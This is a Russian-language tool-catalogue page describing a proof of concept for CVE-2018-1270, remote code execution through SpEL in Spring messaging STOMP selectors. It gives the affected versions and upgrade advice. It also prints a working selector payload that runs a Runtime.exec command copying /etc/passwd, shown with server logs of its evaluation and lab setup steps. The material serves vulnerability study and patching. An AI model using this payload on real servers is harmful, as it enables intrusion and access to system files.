Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-1270 — Удалённое выполнение кода (RCE) через протокол STOMP в Spring messaging | Kitploit
Инструменты/GitHubGitHub/caledoniaproject/cve-2018-1270
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Удалённое выполнение кода (RCE) через протокол STOMP в Spring messaging

Репозиторий
113188 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-1270 - Spring messaging Spel уязвимость выполнения кода

Вчера Spring объявил об одной RCE-уязвимости, давайте разберемся:

  • CVE-2018-1270: Remote Code Execution with spring-messaging

Затронутые версии

  • Spring Framework 5.0 до 5.0.4
  • Spring Framework 4.3 до 4.3.14

Эта уязвимость не требует особых условий; если вы используете spring-messaging + websocket + STOMP, пожалуйста, как можно скорее обновитесь до последней версии; если вы используете SpringBoot, обновитесь до 2.0.1.RELEASE.

Детали уязвимости

Проще говоря, из-за того, что StandardEvaluationContext имеет слишком широкие права и может выполнять произвольные SpEL-выражения, после Spring 5.0.5 официально добавили SimpleEvaluationContext для реализации простого связывания данных, сохраняя гибкость без угрозы безопасности.

spring-messaging предоставляет поддержку протокола STOMP, позволяя клиентам подписываться на сообщения и использовать селектор для фильтрации сообщений, например

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

Когда вы подписываетесь, spring сохраняет этот фильтр и запускает его при получении сообщения клиентом, например

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Скриншот PoC

screenshot

Подробный анализ уязвимости будет опубликован позже

Инструкция по использованию среды

Соберите и запустите сервер Spring Boot

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

Откройте браузер и введите выражение для тестирования

root@kitploit:~
http://localhost:8080

screenshot

Скачать инструмент